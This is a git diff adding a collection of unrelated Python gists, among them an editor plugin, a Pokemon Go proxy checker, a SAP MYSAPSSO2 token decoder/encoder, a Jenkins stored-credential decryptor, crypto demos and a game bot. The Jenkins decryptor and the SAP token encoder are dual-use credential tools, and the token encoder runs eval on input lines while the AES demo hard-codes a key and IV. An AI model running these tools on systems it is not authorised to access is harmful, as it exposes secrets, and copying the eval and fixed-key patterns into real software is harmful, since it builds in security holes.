+            #     line = view.line(view.text_point(l[2][0]-1, 0))
+            #     item = ['{:03}'.format(l[2][0])+':'+view.substr(line)]
+            # else:
+            item = self.shortest(l[0])+':'+str(l[2][0])+':'+str(l[2][1])
+            items.append(item)
+        print(items)
+        flags = 0
+        sel = view.sel()[0]
+        self.rollback = [(view, sel)]
+        win.show_quick_panel(
+            items, self.on_done, flags, selindex, self.on_highlight)
+
+    def shortest(self, fpath):
+        win = self.window
+        view = win.active_view()
+        base = view.file_name()
+        paths = [fpath]
+        if base:
+            base = os.path.dirname(base)
+            paths.append(os.path.relpath(fpath, base))
+        for f in win.folders():
+            f = f+'/'
+            if fpath.startswith(f):
+                paths.append(fpath[len(f):])
+        paths = [(len(s), s) for s in paths]
+        paths.sort()
+        return paths[0][1]
+
+    def on_done(self, index):
+        self.quick_panel = None
+        win = self.window
+        for v, r in reversed(self.rollback):
+            if isinstance(r, (Region, Selection)):
+                v.sel().clear()
+                v.sel().add(r)
+                v.show_at_center(r)
+            else:
+                g, i = r
+                win.set_view_index(v, g, i)
+        win.focus_view(self.origin_view)
+        if index == -1:
+            return
+        locs = self.locations
+        text = self.text
+        fpath, fname, rowcol = locs[index]
+        r, c = rowcol
+        self.jump(fpath, r, c, text)
+
+    def on_highlight(self, index):
+        win = self.window
+        locs = self.locations
+        fpath, fname, rowcol = locs[index]
+        r, c = rowcol
+        v = win.find_open_file(fpath)
+        g1, g2 = 0, 0
+        if v:
+            g1, _ = win.get_view_index(self.origin_view)
+            g2, i = win.get_view_index(v)
+        if v and g1 != g2:
+            win.set_view_index(v, g1, 0)
+            self.rollback.append((v, (g2, i)))
+        else:
+            v = win.open_file(
+                fpath + ":" + str(rowcol[0]) + ":" + str(rowcol[1]),
+                sublime.TRANSIENT | sublime.ENCODED_POSITION)
+        line = v.line(v.text_point(r-1, c-1))
+        region = v.find(self.text, line.begin(), sublime.LITERAL)
+        sel = v.sel()[0]
+        self.rollback.append((v, sel))
+        v.sel().clear()
+        v.sel().add(region)
+        v.show_at_center(region)
+
+    def find_in_views(self, text, views):
+        results = []
+        for view in views:
+            fpath = view.file_name()
+            if not fpath:
+                continue
+            for region in view.find_all('\\b'+text+'\\b'):
+                r, c = view.rowcol(region.begin())
+                r, c = r+1, c+1
+                results.append((fpath, fpath, (r, c)))
+
+        return results
+
+    def find_in_scope(self, text, row):
+        win = self.window
+        view = win.active_view()
+        rows = self.get_scoped_rowdict(row)
+
+        results = view.find_all('\\b'+text+'\\b')
+        result_up = []
+        result_down = []
+        for region in results:
+            r, c = view.rowcol(region.begin())
+            r, c = r+1, c+1
+            if r >= row and len(result_up) > 0:
+                break
+            if r in rows:
+                lv = rows[r][0]
+                line = view.line(region.begin())
+                before = view.substr(Region(line.begin(), region.begin()))
+                # after = view.substr(Region(region.end(), line.end()))
+                if re.search(r'[=\)\[\]\{\}]', before):
+                    # maybe expr
+                    continue
+                if r < row:
+                    result_up.append((-lv, r, c, region))
+                elif r > row:
+                    result_down.append((region, r, c))
+
+        if len(result_up) > 0:
+            result_up.sort()
+            result_up = [(a[3], a[1], a[2]) for a in result_up]
+            return result_up[0]
+        if len(result_down):
+            return result_down[0]
+        return None
+
+    def get_scoped_rowdict(self, row):
+        win = self.window
+        view = win.active_view()
+
+        rows = {}
+        text = view.substr(Region(0, view.size()))
+        lines = text.split("\n")
+
+        cur = 0
+        indents = []
+        for ln in lines:
+            if self.is_comment(ln):
+                indents.append(False)
+                continue
+            m = re.search(r'^[ \t]*', ln)
+            i = len(m.group(0))
+            if i == len(ln):
+                indents.append((cur, ln))
+            else:
+                indents.append((i, ln))
+                cur = i
+
+        if not indents[row-1]:
+            return {}
+
+        cur = indents[row-1][0]
+        for r in range(row, 0, -1):
+            if not indents[r-1]:
+                continue
+            i = indents[r-1][0]
+            if i == cur:
+                rows[r] = (i*10, indents[r-1][1])
+            elif i < cur:
+                # up scope
+                rows[r] = (i*10+5, indents[r-1][1])
+                # add same scope lines after row
+                for rr in range(row+1, len(indents)+1):
+                    if not indents[rr-1]:
+                        continue
+                    j = indents[rr-1][0]
+                    if j < i:
+                        break
+                    elif j == i:
+                        rows[rr] = (j*10, indents[rr-1][1])
+                cur = i
+        return rows
+
+    def get_undercursor(self):
+        view = self.view
+        sel = view.sel()[0]
+        pos = sel.begin()
+        line = view.line(pos)
+        before = view.substr(Region(line.begin(), pos))
+        after = view.substr(Region(pos, line.end()))
+        is_symbol = False
+
+        for sep1, sep2 in [('"', '"'), ("'", "'"), ("<", ">"), ]:
+            if before.find(sep1) == -1 or after.find(sep2) == -1:
+                continue
+            b = before.split(sep1)
+            a = after.split(sep2)
+            if len(b) > 1 and len(b) % 2 == 0:
+                text = b[-1] + a[0]
+                text, is_symbol = self.mod_bracket_text(text, sep1, b, a)
+                text = re.sub(r'\{.*\}', '', text)
+                if text.find('./') > -1:
+                    text = os.path.normpath(text)
+                return text, is_symbol
+
+        b = re.split(r'[\s\n\r]', before)
+        a = re.split(r'[\s\n\r]', after)
+        text = b[-1] + a[0]
+
+        text, is_symbol = self.mod_space_sep_text(text, b, a)
+
+        if text.find('/') > -1:
+            test = re.split(r'[\[\]\(\)\{\}\!\#\,\<\>]', text)
+            if len(test) == 1:
+                return text, is_symbol
+
+        is_symbol = True
+
+        # word = view.word(pos)
+        # text = view.substr(word).strip()
+        b = re.search(r'[a-zA-Z0-9_$\-]*$', before).group(0)  # include '-'
+        a = re.search(r'^[a-zA-Z0-9_$\-]*', after).group(0)
+        text = b + a
+        if text:
+            view.sel().clear()
+            view.sel().add(Region(pos-len(b), pos+len(a)))
+        return text, is_symbol
+
+    def is_comment(self, ln):
+        ln = ln.lstrip()
+        lit = COMMENT_LIT.get(self.ext, None)
+        if lit and ln.startswith(lit):
+            return True
+        return False
+
+    def mod_bracket_text(self, text, sep, b, a):
+        if self.ext == '.html':
+            if sep in ('"', "'") and b[-2].endswith('='):
+                attr = b[-2].split(' ')[-1].lower()
+                if attr == 'class=':
+                    return b[-1].split(' ')[-1]+a[0].split(' ')[0], True
+                elif attr in ('src=', 'href=', 'action='):
+                    return text, False
+                else:
+                    return text, True
+            elif sep == '<':
+                # tagName or attributeName
+                b = re.split(r'[\s=]', b[-1])
+                a = re.split(r'[\s=]', a[0])
+                return b[-1]+a[0], True
+        return text, False
+
+    def mod_space_sep_text(self, text, b, a):
+        if self.ext == '.py':
+            if len(b) > 2 and b[-2] == 'from' and a[1] == 'import':
+                if text[:2] == '..':
+                        text = '{parentdir}'+text[2:]
+                if text[0] == '.':
+                        text = '{currentdir}'+text[1:]
+                text = text.replace('.', '/')
+                text = text.replace('{parentdir}', '../')
+                text = text.replace('{currentdir}', './')
+                return text, False
+
+        return text, False
+
+
+COMMENT_LIT = {
+    '.py': '#',
+    '.lua': '--',
+    '.js': '//',
+    '.coffee': '#',
+    '.rb': '#',
+    '.c': '//',
+    '.cpp': '//',
+    '.h': '//',
+    '.html': '<!--',
+    '.css': '/*',
+}
diff --git a/hard-gists/8f07d0bfadffd40fcf40cd49cb77382d/._snippet.py b/hard-gists/8f07d0bfadffd40fcf40cd49cb77382d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8f07d0bfadffd40fcf40cd49cb77382d/._snippet.py differ
diff --git a/hard-gists/8f07d0bfadffd40fcf40cd49cb77382d/snippet.py b/hard-gists/8f07d0bfadffd40fcf40cd49cb77382d/snippet.py
new file mode 100644
index 00000000..ca2399cd
--- /dev/null
+++ b/hard-gists/8f07d0bfadffd40fcf40cd49cb77382d/snippet.py
@@ -0,0 +1,156 @@
+import cfscrape
+import json
+import sys
+import argparse
+import requests
+import logging
+import time
+import random
+
+from pgoapi import PGoApi
+from pgoapi.exceptions import ServerSideRequestThrottlingException
+
+from queue import Queue
+from threading import Thread
+
+
+# Ignore countries
+ignore = [ 'China' ]
+
+##### END OF CONFIGURATION #####
+logging.basicConfig(format='%(asctime)s %(message)s')
+log = logging.getLogger(__name__)
+
+parser = argparse.ArgumentParser()
+parser.add_argument("-f", "--proxy-file", help="Text file containing proxies. One proxy per line like http://x.x.x.x:3128")
+parser.add_argument("-o", "--output-file", help="Output file with working proxies", default="working_proxies.txt")
+parser.add_argument("--proxychains", help="Output in proxychains-ng format. Something like 'http x.x.x.x 3128'", action='store_true')
+parser.add_argument("-t", "--timeout", help="Proxy timeout. Default is 15 seconds.", default=15, type=float)
+parser.add_argument("-v", "--verbose", help="Run in the verbose mode.", action='store_true')
+parser.add_argument("-u", "--username", help="Username if you want to test account connectivity")
+parser.add_argument("-p", "--password", help="Password if you want to test account connectivity")
+args = parser.parse_args()
+
+working_proxies = []
+
+def check_pogo_login(proxy, username, password):
+	try:
+		api = PGoApi()
+		api.set_proxy({'http': proxy, 'https': proxy})
+		api.set_position(40.7127837, -74.005941, 0.0)
+		api.login('ptc', username, password)
+		time.sleep(1)
+		req = api.create_request()
+		req.get_inventory()
+		response = req.call()
+		if response['status_code'] == 3:
+			log.error("The account you're using to test is banned. Try another one.")
+			sys.exit(1)
+	except ServerSideRequestThrottlingException as e:
+		secs = random.randrange(700,1100) / 100;
+		log.debug("[ %s\t] Server side throttling, Waiting %s seconds!",proxy, secs);
+		time.sleep(secs)
+		check_pogo_login(proxy, username, password)
+
+
+def check_single_proxy(proxy_queue, timeout, working_proxies):
+
+	proxy_test_url = 'https://sso.pokemon.com/'
+	proxy = proxy_queue.get_nowait()
+
+	if proxy:
+		try:
+			proxy_response = requests.get(proxy_test_url, proxies={'http': proxy, 'https': proxy}, timeout=timeout)
+
+			if proxy_response.status_code == 200:
+				# Test logging in
+				if args.username and args.password:
+					check_pogo_login(proxy, args.username, args.password)
+
+				log.info("[ %s\t] Ready for PokemonGo!",proxy)
+				proxy_queue.task_done()
+				working_proxies.append(proxy)
+				return True
+			else:
+				proxy_error = "Invalid Status Code - " + str(proxy_response.status_code)
+
+		except requests.ConnectTimeout:
+			proxy_error = "Proxy timeout after " + str(timeout) + " seconds."
+
+		except requests.ConnectionError:
+			proxy_error = "Fail to connect to the proxy."
+		except Exception as e:
+			proxy_error = e
+	else:
+			proxy_error = "Empty Proxy."
+
+	log.info("[ %s\t] Error: %s",proxy,proxy_error)
+	proxy_queue.task_done()
+	return False
+
+def save_to_file( proxies, file ):
+
+	file = open( file, "w" )
+	for proxy in proxies:
+		if args.proxychains:
+			# Split the protocol
+			protocol, address = proxy.split("://",2)
+			# address = proxy.split("://")[1]
+			# Split the port
+			ip, port = address.split(":",2)
+			# Write to file
+			file.write( protocol + " " + ip + " " + port + "\n")
+		else:
+			file.write(proxy + "\n")
+
+if __name__ == "__main__":
+	log.setLevel(logging.INFO);
+
+	if args.verbose:
+		log.setLevel(logging.DEBUG);
+		log.debug("Running in verbose mode (-v).")
+
+	if args.username and args.password:
+		log.info("Running with account testing. Going try to login into %s on each step.", args.username)
+
+	if args.proxy_file:
+		with open(args.proxy_file) as f:
+			proxies = f.read().splitlines()
+	else:
+		# Download the URL
+		url = "http://coolproxies.com/pl/proxylist.php?grid_id=list1&_search=true&nd=1471879089948&rows=1000&jqgrid_page=1&sidx=ping&sord=asc&filters=%7B%22groupOp%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22field%22%3A%22type_name%22%2C%22op%22%3A%22cn%22%2C%22data%22%3A%22HTTP%22%7D%2C%7B%22field%22%3A%22support_ssl%22%2C%22op%22%3A%22cn%22%2C%22data%22%3A%221%22%7D%5D%7D"
+		scraper = cfscrape.create_scraper()
+		response = scraper.get(url)
+		data = json.loads(response.content)
+		log.info("Downloaded %s proxies from %s", len(data['rows']), url)
+		proxies = []
+		for proxy in data['rows']:
+			if proxy['countryname'] in ignore:
+				continue;
+			if proxy['ping'] == "0":
+				continue;
+			proxies.append("http://" + proxy['proxy'])
+
+	log.info( "Read %s proxies. Starting proxies availability test...", len(proxies) )
+
+	# Initialize the Proxy Queue
+	proxy_queue = Queue()
+	for proxy in proxies:
+		proxy_queue.put(proxy)
+
+	for i in range(0, len(proxies)):
+		if args.username and args.password:
+			time.sleep(1)
+		log.debug("Launching thread %s", i)
+		t = Thread(target=check_single_proxy,
+				   name='check_proxy',
+				   args=(proxy_queue, args.timeout, working_proxies))
+		t.daemon = True
+		t.start()
+
+	# Wait for the queue to finish
+	proxy_queue.join()
+
+	log.info( "Found %s working proxies! Writing to %s", len(working_proxies), args.output_file )
+	save_to_file( working_proxies, args.output_file )
+	sys.exit(0)
diff --git a/hard-gists/8f3b0a678011ac74c61b/._snippet.py b/hard-gists/8f3b0a678011ac74c61b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8f3b0a678011ac74c61b/._snippet.py differ
diff --git a/hard-gists/8f3b0a678011ac74c61b/snippet.py b/hard-gists/8f3b0a678011ac74c61b/snippet.py
new file mode 100644
index 00000000..37d10227
--- /dev/null
+++ b/hard-gists/8f3b0a678011ac74c61b/snippet.py
@@ -0,0 +1,94 @@
+#!/usr/bin/python3
+# mysapsso.py - Decoding MYSAPSSO2 cookies
+
+import sys
+import fileinput
+import urllib.parse
+import base64
+import binascii
+import re
+import struct
+
+def hexdump(data):
+    while len(data) > 0:
+        (cur, data) = (data[:16],data[16:])
+        print("| {:<48}| {:<16} |".format(str(re.sub(b'(.{2})', b'\\1 ', binascii.hexlify(cur)), 'ascii'), str(re.sub(b'[\x00-\x1f\x80-\xff]', b'.', cur), 'ascii')))
+
+def decodeSAPToken(token, format=False):
+    (v, id, token) = (token[0], token[1:5], token[5:])
+    if format:
+        print("Version = " + str(v))
+        print("ID      = " + str(id, 'ascii'))
+    else:
+        print(str(v) + ":" + str(id, 'ascii'))
+        
+    while len(token) > 0:
+        ((type, length), token) = (struct.unpack('!BH', token[:3]), token[3:])
+        (value, token) = (token[:length], token[length:])
+
+        if format:
+            print("Type={:02x} Length={:d}".format(type, length))
+            if type == 0x01 or type == 0x0a:
+                print("Username = " + str(value, 'ascii'))
+            elif type == 0x02:
+                print("Client = " + str(value, 'ascii'))
+            elif type == 0x03:
+                print("System = " + str(value, 'ascii'))
+            elif type == 0x04:
+                print("Toke issued at = " + str(value, 'ascii'))
+            elif type == 0x88:
+                print("Authentication type = " + str(value, 'ascii'))
+            elif type == 0xff:
+                print("Signature:")
+                hexdump(value)
+            else:      
+                hexdump(value)
+                print()
+        else:
+            print(str(type) + ":" + str(value)[2:-1])
+
+def usage():
+    print("Usage:\n" + sys.argv[0] + " decode|decode2 <token>\n - OR -\n" + sys.argv[0] + " encode [<decode-formatted-files> ...]")
+    sys.exit()
+
+### Main ###
+if len(sys.argv) < 2:
+    usage()
+
+if sys.argv[1] in ('decode', 'decode2'):
+    if len(sys.argv) != 3:
+        usage()
+        
+    try:
+        token = base64.b64decode(bytes(urllib.parse.unquote(sys.argv[2], 'ascii'), 'ascii'))
+    except binascii.Error:
+        try:
+            token = base64.b64decode(bytes(urllib.parse.unquote(sys.argv[2] + '=', 'ascii'), 'ascii'))
+        except binascii.Error:
+            try:
+                token = base64.b64decode(bytes(urllib.parse.unquote(sys.argv[2] + '==', 'ascii'), 'ascii'))
+            except:
+                print("Failed to complete missing padding - giving up!")
+                sys.exit()
+
+    if sys.argv[1] == 'decode':
+        decodeSAPToken(token)
+    else:
+        print("=== Raw ===")
+        hexdump(token)
+        print("=== Decoded ===")
+        decodeSAPToken(token, True)
+elif sys.argv[1] == 'encode':
+    firstline = True
+    for line in fileinput.input(sys.argv[2:]):
+        line = line.rstrip("\n")
+        if firstline:
+            (v, id) = line.split(":")
+            ssotoken = struct.pack('!B4s', int(v), bytes(id, 'ascii'))
+            firstline = False
+        else:
+            (type, value) = line.split(":", 1)
+            value = eval("b'''" + value + "'''")
+            length = len(value)
+            ssotoken += struct.pack('!BH', int(type), int(length)) + value
+    print(urllib.parse.quote(str(base64.b64encode(ssotoken), 'ascii')))
diff --git a/hard-gists/8f6667310a94f0c18bda10a1d5ff578c/._snippet.py b/hard-gists/8f6667310a94f0c18bda10a1d5ff578c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8f6667310a94f0c18bda10a1d5ff578c/._snippet.py differ
diff --git a/hard-gists/8f6667310a94f0c18bda10a1d5ff578c/snippet.py b/hard-gists/8f6667310a94f0c18bda10a1d5ff578c/snippet.py
new file mode 100644
index 00000000..210757ce
--- /dev/null
+++ b/hard-gists/8f6667310a94f0c18bda10a1d5ff578c/snippet.py
@@ -0,0 +1,100 @@
+import tensorflow as tf
+
+from tensorflow.python.ops import init_ops
+from tensorflow.python.ops import array_ops
+from tensorflow.python.ops import math_ops
+from tensorflow.python.ops.rnn_cell_impl import RNNCell, _linear
+
+class LRUCell(RNNCell): 
+    """Lattice Recurrent Unit (LRU).
+       This implementation is based on:
+       C. Ahuja and L.-P. Morency (2017)
+       "Lattice Recurrent Unit: Improving Convergence and Statistical Efficiency for Sequence Modeling"
+       https://arxiv.org/abs/1710.02254
+       Note that this is the implementation of the (Update-Gate) LRU cell (best performing and last cell architecture)
+    """
+
+    def __init__(self, 
+                 num_units,
+                 kernel_initializer=None, 
+                 bias_initializer=None):
+      """Initialize the parameters for an LRU cell.
+        Args:
+          num_units: int, number of units in the LRU cell
+          kernel_initializer: (optional) The initializer to use for the weight and
+            projection matrices.
+          bias_initializer: (optional) The initializer to use for the bias matrices. 
+            Default: vectors of ones.
+      """
+      super(LRUCell, self).__init__(_reuse=True)
+
+      self._num_units = num_units
+      self._kernel_initializer = kernel_initializer
+      self._bias_initializer = bias_initializer
+
+    @property
+    def state_size(self):
+      return self._num_units
+
+    @property
+    def output_size(self):
+      return self._num_units
+
+    def __call__(self, inputs, state, scope=None):
+        """Run one step of LRU.
+          Args:
+            inputs: input Tensor, 2D, batch x num_units.
+            state: a state Tensor, `2-D, batch x state_size`. 
+          Returns:
+            A tuple containing:
+            - A `2-D, [batch x num_units]`, Tensor representing the output of the
+              LRU after reading `inputs` when previous state was `state`.
+            - A `2-D, [batch x num_units]`, Tensor representing the new state of LRU after reading `inputs` when
+              the previous state was `state`.  Same type and shape(s) as `state`.
+          Raises:
+            ValueError: 
+            - If input size cannot be inferred from inputs via
+              static shape inference.
+            - If state is not `2D`.
+        """
+        if inputs.get_shape()[1] != self._num_units:
+            with tf.variable_scope("input_transformation"):  
+                W = tf.get_variable("kernel", [inputs.get_shape()[1], self._num_units], initializer = self._kernel_initializer)
+                inputs = tf.matmul(inputs, W)
+
+        ## r_1, r_2, z_1 and z_2  update & reset gates (resp. eq. 11, 12, 15 & 16)
+        with tf.variable_scope("gates"):  
+            # We start with bias of 1.0 to not reset and not update.
+            bias_ones = self._bias_initializer
+            if self._bias_initializer is None:
+              dtype = [a.dtype for a in [inputs, state]][0]
+              bias_ones = init_ops.constant_initializer(1.0, dtype=dtype)
+            value = math_ops.sigmoid(
+                _linear([inputs, state], 4 * self._num_units, True, bias_ones,
+                        self._kernel_initializer))
+            r1, r2, z1, z2 = array_ops.split(value=value, num_or_size_splits=4, axis=1)
+
+        ## h1_hat
+        with tf.variable_scope("projected_state1"):
+            bias_ones = self._bias_initializer
+            if self._bias_initializer is None:
+              dtype = [a.dtype for a in [inputs, state]][0]
+              bias_ones = init_ops.constant_initializer(1.0, dtype=dtype)
+            h1_hat = tf.tanh(
+                _linear([inputs, r2 * state], self._num_units, True, bias_ones,
+                        self._kernel_initializer))
+        ## h2_hat
+        with tf.variable_scope("projected_state2"):
+            bias_ones = self._bias_initializer
+            if self._bias_initializer is None:
+              dtype = [a.dtype for a in [inputs, state]][0]
+              bias_ones = init_ops.constant_initializer(1.0, dtype=dtype)
+            h2_hat = tf.tanh(
+                _linear([r1 * inputs, state], self._num_units, True, bias_ones,
+                        self._kernel_initializer))
+
+        h1_prime = z1 * h2_hat + (1 - z1) * inputs
+        h2_prime = z2 * h1_hat + (1 - z2) * state
+
+        return h1_prime, h2_prime
+
diff --git a/hard-gists/8f9980999ed43246b9b2/._snippet.py b/hard-gists/8f9980999ed43246b9b2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8f9980999ed43246b9b2/._snippet.py differ
diff --git a/hard-gists/8f9980999ed43246b9b2/snippet.py b/hard-gists/8f9980999ed43246b9b2/snippet.py
new file mode 100644
index 00000000..bf9fc957
--- /dev/null
+++ b/hard-gists/8f9980999ed43246b9b2/snippet.py
@@ -0,0 +1,67 @@
+#!/usr/bin/env python3
+
+# original: https://raw.githubusercontent.com/tweksteen/jenkins-decrypt/master/decrypt.py
+# requires: pycrypto
+
+
+import re
+import sys
+import base64
+
+from hashlib import sha256
+from binascii import hexlify, unhexlify, Error as BAError
+
+from Crypto.Cipher import AES
+
+MAGIC = b'::::MAGIC::::'
+
+
+def usage():
+    print(sys.argv[0], "<main.key> <hudson.util.Secret>")
+    sys.exit(0)
+
+
+def get_key():
+    main_key = open(sys.argv[1], 'r').read().encode('utf-8')
+    hudson_secret_key = open(sys.argv[2], 'rb').read()
+
+    hashed_main_key = sha256(main_key).digest()[:16]
+    o = AES.new(hashed_main_key, AES.MODE_ECB)
+    x = o.decrypt(hudson_secret_key)
+    assert MAGIC in x
+
+    k = x[:-16]
+    return k[:16]
+
+
+def decrypt(password_hash, key):
+    p = base64.decodestring(password_hash.encode('utf-8'))
+    o = AES.new(key, AES.MODE_ECB)
+    x = o.decrypt(p)
+    assert MAGIC in x
+
+    return re.split(MAGIC.decode('utf-8'), x.decode('utf-8'), 1)[0]
+
+
+def main():
+    if len(sys.argv) != 3:
+        usage()
+
+    key = get_key()
+
+    while True:
+        try:
+            password = input('Password-Hash: ')
+            if not password:
+                break
+            else:
+                print('Password:', decrypt(password, key))
+        except (ValueError, BAError) as e:
+            print('Error:', e)
+        except (KeyboardInterrupt, EOFError):
+            print()
+            break
+
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/8fa6b37265d5394dd7a4/._snippet.py b/hard-gists/8fa6b37265d5394dd7a4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8fa6b37265d5394dd7a4/._snippet.py differ
diff --git a/hard-gists/8fa6b37265d5394dd7a4/snippet.py b/hard-gists/8fa6b37265d5394dd7a4/snippet.py
new file mode 100644
index 00000000..954d279c
--- /dev/null
+++ b/hard-gists/8fa6b37265d5394dd7a4/snippet.py
@@ -0,0 +1,69 @@
+# !/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+from Crypto.Cipher import PKCS1_v1_5
+from Crypto.PublicKey import RSA
+from Crypto.Hash import SHA
+from Crypto import Random
+from Crypto.Cipher import AES
+
+aes_obj_enc = AES.new('This is a key123', AES.MODE_CBC, 'This is an IV456')
+ret = aes_obj_enc.encrypt('11111111111111xd')
+
+aes_obj_dec = AES.new('This is a key123', AES.MODE_CBC, 'This is an IV456')
+print aes_obj_dec.decrypt(ret)
+
+#  加密解密所用对象不能为同一个
+# 1. 先使用openssl生成公私钥对
+# openssl genrsa -out privkey.pem 2048
+# 2. 将上一步生成的RSA私钥转换成PKCS#8编码，作为最终使用的私钥。
+# openssl pkcs8 -topk8 -in rsa_private_key_2048.pem -out pkcs8_rsa_private_key_2048.pem -nocrypt
+# 3. 导出RSA公钥，以X509编码，作为最终交换的公钥。
+# openssl rsa -in rsa_private_key_2048.pem -out rsa_public_key_2048.pem -pubout
+# RSA不适合用于长段文本加解密(pycrypto限制256字符)，一般用来传输密钥，之后通过密钥通过对称加密传输内容
+with open('/Users/Ficapy/CodeSpace/Dev/xxx/cert/rsa_public_key_2048.pem', 'r') as f:
+    pub = f.read()
+
+with open('/Users/Ficapy/CodeSpace/Dev/xxx/cert/pkcs8_rsa_private_key_2048.pem', 'r') as f:
+    pri = f.read()
+
+
+# !!! 注释掉2行是为了和java平台兼容
+def encrypt(pub, message):
+    # RSA/ECB/PKCS1Padding
+    # 128字节搞一次
+    ret = ''
+    input_text = message[:128]
+    while input_text:
+        # h = SHA.new(input_text)
+        key = RSA.importKey(pub)
+        cipher = PKCS1_v1_5.new(key)
+        # ret += cipher.encrypt(input_text + h.digest())
+        ret += cipher.encrypt(input_text)
+        message = message[128:]
+        input_text = message[:128]
+    return ret
+
+
+def decrypt(pri, ciphertext):
+    key = RSA.importKey(pri)
+    dsize = SHA.digest_size
+    input_text = ciphertext[:256]
+    ret = ''
+    while input_text:
+        sentinel = Random.new().read(15 + dsize)
+        cipher = PKCS1_v1_5.new(key)
+        _message = cipher.decrypt(input_text, sentinel)
+        # ret += _message[:-dsize]
+        ret += _message
+        ciphertext = ciphertext[256:]
+        input_text = ciphertext[:256]
+    return ret
+
+
+msg = decrypt(pri, encrypt(pub, 'abcd' * 128))
+print len(msg)
+print msg
+#  以下RSA加密解密做法官方不推荐使用(至于为什么不安全我也不造)
+key = RSA.importKey(pub).encrypt('xxxx', 'x')  # 第二个参数没有用处  只是为了兼容性
+print RSA.importKey(pri).decrypt(key)
\ No newline at end of file
diff --git a/hard-gists/8fdb62f7094e6a9829f2/._snippet.py b/hard-gists/8fdb62f7094e6a9829f2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8fdb62f7094e6a9829f2/._snippet.py differ
diff --git a/hard-gists/8fdb62f7094e6a9829f2/snippet.py b/hard-gists/8fdb62f7094e6a9829f2/snippet.py
new file mode 100644
index 00000000..1f080706
--- /dev/null
+++ b/hard-gists/8fdb62f7094e6a9829f2/snippet.py
@@ -0,0 +1,152 @@
+import autopy.mouse as mouse
+from PIL import ImageGrab
+from autopy.mouse import LEFT_BUTTON, RIGHT_BUTTON
+import time
+
+tiles = ["224224224255","255255153255", "2553636255", "0242174255", "44139255255", "221165250255", "552340255", "255211189255", "1590242255", "2551810255", "192192192255", "2062500255"]
+tileMapping = "0123456789ABCDEFGHIJKLMOPQRSTUWXYZ"
+
+width = 570
+height = 682
+
+x = 54
+y = 142
+
+tileWidth = 80
+tileHeight = 84
+
+boardX = 7
+boardY = 8
+
+def getSum(value):
+	suma = ""
+	for i in value:
+		suma = suma + str(i)
+	return suma
+
+def getBoard():
+	board = []
+	screenshot = ImageGrab.grab()
+
+	for j in range(boardY):	
+		current = ""
+		for i in range(boardX):
+			currentValue = screenshot.getpixel((x+tileWidth*i + tileWidth/4, y+tileHeight*j + tileHeight/4))
+
+			index = 33
+
+			try:
+				index = tiles.index(getSum(currentValue))
+			except:
+				print("Unidentified block")
+
+			current = current + tileMapping[index]
+
+		board.append(current)
+	return(board)
+
+
+visited = []
+for i in range(boardY):
+	v = []
+	for j in range(boardX):
+		v.append(False)
+	visited.append(v)
+
+def dfs(start, currentX, currentY, root):
+	if(currentX < 0 or currentX >= boardX or currentY < 0 or currentY >= boardY):
+		return '0';
+
+	if(visited[currentY][currentX]):
+		return '0';
+	visited[currentY][currentX] = True;
+
+ 	if(board[currentY][currentX] == start and not root):
+		return "";
+
+	if(board[currentY][currentX] != '0' and not root):
+		return '0'
+
+
+	left = dfs(start, currentX-1, currentY, False);
+	right = dfs(start, currentX+1, currentY, False);
+	up = dfs(start, currentX, currentY-1, False);
+	down = dfs(start, currentX, currentY+1, False);
+
+	if(left != '0'):
+		return 'l'+left;
+	if(right != '0'):
+		return 'r'+right;
+	if(up != '0'):
+		return 'u'+up;
+	if(down != '0'):
+		return 'd'+down;
+
+	return '0';
+
+
+def executeMove(startX, startY, moveSequence):
+	print(moveSequence)
+
+	sx = x + startX * tileWidth + tileWidth/4
+	sy = y + startY * tileHeight + tileHeight/4
+
+	mouse.move(sx, sy)
+	mouse.click()
+	mouse.toggle(True)
+
+	for i in range(len(moveSequence)):
+		if(moveSequence[i] == 'l'):
+			sx = sx - tileWidth
+		if(moveSequence[i] == 'r'):
+			sx = sx + tileWidth
+		if(moveSequence[i] == 'u'):
+			sy = sy - tileHeight
+		if(moveSequence[i] == 'd'):
+			sy = sy + tileHeight
+		mouse.smooth_move(sx, sy)
+	mouse.toggle(False)
+
+def getBestMove(board):
+
+	minLength = 10000
+	bestMove = ""
+	bestX = 0
+	bestY = 0
+
+	for i in range(boardY):
+		for j in range(boardX):
+			if(board[i][j] != '0'):
+
+				for k in range(boardY):
+					for l in range(boardX):
+						visited[k][l] = False;
+
+				guess = dfs(board[i][j], j, i, True);
+				if(guess != '0'):
+					if(len(guess) < minLength):
+						bestMove = guess
+						minLength = len(guess)
+						bestX = j
+						bestY = i
+
+	if(bestMove != ""):
+		print("Move found, executing")
+		executeMove(bestX, bestY, bestMove)
+		print("Finished executing move")
+	else:
+		print("No move found")
+
+while(True):
+
+	print("Getting board...")
+	board = getBoard();
+	print("Got board, finding a possible move")
+	getBestMove(board)
+
+
+	
+					
+
+
+
diff --git a/hard-gists/8ff161505721b6c4ab25ccfe7996fd1a/._snippet.py b/hard-gists/8ff161505721b6c4ab25ccfe7996fd1a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8ff161505721b6c4ab25ccfe7996fd1a/._snippet.py differ
diff --git a/hard-gists/8ff161505721b6c4ab25ccfe7996fd1a/snippet.py b/hard-gists/8ff161505721b6c4ab25ccfe7996fd1a/snippet.py
new file mode 100644
index 00000000..957511c7
--- /dev/null
+++ b/hard-gists/8ff161505721b6c4ab25ccfe7996fd1a/snippet.py
@@ -0,0 +1,210 @@
+import sys
+sys.path.append('../../facenet/src')
+
+import facenet
+import argparse
+import os
+import importlib
+import tensorflow as tf
+from tqdm import tqdm
+import tensorflow.contrib.slim as slim
+
+import numpy as np
+
+from matio import save_mat
+import imghdr
+
+def test_png(filename):
+    if imghdr.what(filename) == 'png':
+        return True
+    else:
+        return False
+
+def to_rgb(img):
+    if img.shape[2] == 1:
+        w, h = img.shape[:2]
+        ret = np.empty((w, h, 3), dtype=np.uint8)
